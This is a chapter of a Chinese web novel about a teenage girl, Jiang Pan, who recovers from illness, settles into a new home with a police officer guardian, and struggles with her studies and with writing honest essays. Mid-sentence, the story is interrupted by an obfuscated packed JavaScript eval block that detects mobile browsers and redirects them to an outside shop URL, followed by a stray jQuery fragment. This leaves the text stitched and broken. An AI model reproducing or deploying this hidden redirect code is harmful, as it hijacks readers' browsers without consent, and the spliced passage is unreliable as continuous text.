人生中有些日子压的人喘不过气。
有些则恍若未存，随风而逝。
但也总有那样一个时刻。
命运不由分说降临。
带着风雪。
带着眼泪。
带着一句能把人震麻的话。
然后，一个超出所有想象的明天来了。
姜畔迎来了自己的十七岁。
只不过，别人的青春故事里，转折点常常伴随着大雨里的告白，或者站台上撕心裂肺的离别。
姜畔的青春，在那场深夜的暴雪之后，迎来了一场实实在在的重感冒。
大概是在雪地里又哭又喊耗尽了力气，也吹透了风，当天晚上她就发起烧来。
人烧得迷迷糊糊，嗓子哑得说不出话。
但很奇怪，她脑子却清醒，而且人高兴极了。
李砚安夜里起来好几趟，给她额头上换凉毛巾，喂她喝水。
每次他进来，姜畔就算闭着眼，也能感觉到，然后嘴角就忍不住往上弯。
他伸手探她额头温度，她就睁开烧得水蒙蒙的眼睛看着他笑。
“傻乐什么？”李砚安问她。
“高兴。”
姜畔声音哑哑的，就这两个字，说完乖乖把药吞了，然后又躺回去，继续晕乎乎的乐。
李砚安看着她那傻样，真是又好气又好笑。
第二天烧也没退利索，李砚安只好带她去小区门口的诊所。
诊所的老大夫问她：“哪儿不舒服啊？”
姜畔坐在凳子上，身子有点晃，很认真说：“太高兴了，心跳的有点快。”
老大夫愣了一下，看看她，又看看旁边站着的李砚安。
李砚安没忍住，偏过头笑了一下，才转回来对医生说：“大夫，她发烧，烧糊涂了，昨晚冻着了。”
老大夫这才哦了一声，拿出体温计让她夹上，一边写病历一边摇头嘀咕：“现在的孩子表达能力都很抽象……”
姜畔听见了，“就是跳得快阿。”
李砚安又乐了，抬手揉了下她额头，“知道，烧傻了我也管着，行了吧？”
姜畔一听这话，脑袋更晕了，靠在了李砚安胳膊上。
打了针，挂了吊瓶，又在诊所拿了一堆药。
回家后，姜畔就彻底蔫。
大部分时间都在睡，醒了就吃几口粥，然后盯着天花板或者窗户发呆。
小诊所开的药里有安眠的成分，她睡得沉，但睡梦里也不安稳，有时候会突然惊醒，慌慌张张地四下看，直到看见李砚安在客厅或者厨房的影子，才能慢慢缓下来，再重新睡过去。
这场感冒来势汹汹，拖拖拉拉折腾了一个周末。
热度反反复复，直到周日晚上，才算是彻底退了。
人也像是被这场病淘洗了一遍，轻飘飘的。
周一早上，她醒来，看见阳光透过窗帘照进来，照在她的身上。
外面传来厨房做早饭的滋滋声。
她躺在床上，安安静静躺了好一会儿，才慢慢意识到——
她真的留下来了。
这里，以后就是她的家。
那种感觉不是狂喜，而是一种走了十几年钢丝，脚终于踩到实地的安稳感，是没有任何打骂、斥责，每天都能吃饱穿暖，身边还有个能给她托底的人的安全感。
她太想分享了，她忍不住了。
于是她打开了手机，点开林子琪的对话框，把这件事大概说了说，最后还发了一个小猫尖叫的表情包。
下午再去诊所输液的时候，林子琪来了。
她背着书包，跑得气喘吁吁，一看就是放学直接赶过来的。
一进门，她就扑到姜畔床边。
“姜畔！你真的……真的不用去福利院了？”
姜畔点点头，脸上有点不好意思，但眼睛亮亮的，“嗯，李砚安他帮我弄好了户口，把我挂在了一个亲戚名下，但以后就跟着他生活。”
“我的天啊！”林子琪捂住嘴，眼睛瞬间就红了，“太好了！这真是……这真是太好了！”
“是啊，”姜畔笑着说，“我也觉得像做梦一样。”
可她笑着笑着，发现林子琪的眼泪吧嗒吧嗒掉下来了，砸在诊所白色的床单上。
“你哭什么呀？”姜畔去拉她的手。
“我高兴啊！”林子琪一边抹眼泪一边哽咽，“我就是太高兴了！姜畔，你值得！你真的值得！”
她这一哭，姜畔鼻子也酸了，眼眶发热，一直努力压着的那点情绪再也忍不住。
两个女孩的手握在一起，眼泪都止不住，也分不清是谁先开始的，最后干脆抱在一起，哭得悄无声息，只有肩膀一抖一抖。
李砚安去缴完费回来，一进输液室就看到这场景，一脸震惊。
“这是怎么了，药水打疼了？”
他快步走过来，看着俩哭成泪人儿的姑娘。
林子琪赶紧松开姜畔，不好意思地擦眼泪，摇头说：“不是，李警官，我们……就是高兴的。”
姜畔也低头抹眼睛。
李砚安看看这个，又看看那个，算是明白了，啧了一声。
“行，高兴就好。”
他在床边坐下，顺手拿过林子琪放在旁边的书包，放在桌上。
“啊！对了！”林子琪这才想起来，赶紧从书包里掏出一个折叠好的纸卷，展开来，是一张月考成绩单，“姜畔上个月月考的成绩！老师今天刚发的！”
李砚安接过来，目光在成绩单上看向，眉毛挑了一下。
姜畔有点紧张地看着他。
他从头看到尾，然后手指点在年级排名那一栏，抬眼瞅姜畔，“可以啊，姜畔同学。”
姜畔脸有点红。
上次月考，她还是年级倒数三十多名。
这次，排到了八百零几名。
一口气往前跑了六百多个名次。
“虽然离上大学还差着十万八千里，”李砚安把成绩单递还给她，笑着调侃，“不过这进步速度，坐火箭了是吧？”
姜畔看着李砚安，“下次月考，我还能再进步三百名。”
她知道自己脑子不笨，初中时成绩很好，后来被周围那些烂事拖垮了，根本静不下心看书，这几个月安定了，心也跟着静下来。况且月考考的都是刚学的内容，她跟得紧，分数就上来了。
但她自己清楚，高一高二落下的还多着，得从头一点点补。
林子琪立刻在一旁用力点头：“嗯！姜畔肯定行！以后放学我跟你一起复习，我帮你划重点！”
李砚安点了点头。
“成，有志气。晚上给你加个鸡腿。”
*
未与说到就要做到。
感冒好了之后，她就把自己埋进了书堆里。
她学习的工具很简单，不需要什么额外的东西，一本书，一张卷子，一支红色圆珠笔，写写画画一个小时就过去了。
李砚安有时从客厅经过，探头看她一眼，她就抬起脸，表情平常，好像刚才只是在发呆。
其实不是。
那些公式和定理在她脑子里打架，得一个个捋顺了，刻进去。
她知道自己落下的太多，只能一点点往回啃。
但这事儿她不想让李砚安看出来。
她怕他觉得自己太费劲，怕他担心，更怕让他觉得好像自己真是个需要额外耗费他许多心神的麻烦。
所以晚上李砚安在家时，她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653728|186213||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会准时出来，坐在沙发一角，陪他看一会儿电视。
新闻，或者某个吵吵闹闹的综艺。
屏幕的光在她脸上忽闪忽闪，她眼睛盯着，心思却有一大半还留在刚才的数学题或者电路图上。
等到插播广告，或者李砚安起身去倒水，她就跟着站起来，说声回屋了，然后关上门，重新扎进书本里。
每天的台灯亮到很晚，拢着她和满桌的习题。
李砚安最近也忙。
春天了，人的火气好像也跟着地气一起往外冒，扯皮打架的事儿比冬天多。
他常常很晚才回来。
要是进门看见她屋门底下还透光，会敲一下，说：“还不睡？”
姜畔在里面含糊地应一声，过一会儿，灯才灭了。
她学得确实刻苦，成绩也一点点往上爬。
理科的东西，数学物理，她掌握得很快，那些逻辑和推演像是一条条清晰的路，她走着不晕。
可语文成了拦路虎。
尤其是作文。
以前在初中，她有办法。
找几本作文选，挑些漂亮的句子和例子，背下来。
考试时像拼拼图一样搭上去，分数总能混个不错。
她以为这法子能一直用下去。
直到有一次，她偶然看到了林子琪的一篇作文。
那文章写她爸妈，没什么技巧和辞藻，就讲她妈每天怎么给她梳头发，她爸晚上会给她盖被子，一家人相濡以沫，粗茶淡饭，平平常常的事，读着读着，鼻子却有点酸。
姜畔看完之后，半天没说话。
她自己的作文就在书包里，写的是我的理想，用了很多排比和比喻，气势很足，读起来朗朗上口，像喊口号。
可那里面，一个字都不是她心里真正想的。
她甚至不知道自己的理想是什么。
差距一下子拉的很大。
她第一次清晰地看到，自己那些拼凑出来的东西，没有骨头，也没有魂。
不真实，所以不动人。
她试着去写一篇新的。
《记忆深处的一件事》
她想了很久，记忆深处有什么呢？
阳台的床，饿到胃绞痛，周宝的哭闹，李雅慧和周建国的虐待。
这些能写吗？
答案显而易见，不能。
她最后写了一个路上帮老奶奶推车的故事，编得磕磕绊绊，自己读着都假。
她有点慌了。
在网上搜“作文写不好怎么办”，弹出来一个免费心理咨询的窗口。
鬼使神差地，她点进去，把自己的困惑断断续续打了上去。
姜畔说感觉自己心里是空的，挖不出东西。
那边隔了一会儿，回复过来很长一段话。
说这可能是一种情感隔离，长期处于缺乏安全感的环境里，人会下意识地把真实的感受封闭起来，保护自己不受伤害。时间久了，就连自己都摸不到那些情绪了。建议她可以试着在一个觉得安全的环境里，从小事开始，慢慢练习表达真实的感受，重新建立连接。
姜畔盯着屏幕上的字，看了很久。
安全的环境。
真实的感受。
她抬起头，听见外面客厅传来电视的声音，还有李砚安偶尔换台的声音。
这个地方，这个人，大概是她现在能想到的，最安全的存在了。
心里莫名有点羞耻。
她深吸一口气，抓起桌上的作文，站了起来。
手碰到门把拧开了。
李砚安歪在沙发里，电视里在放一个战争片，枪炮声轰轰响。
他听见动静，侧过头来看她。
“有事？”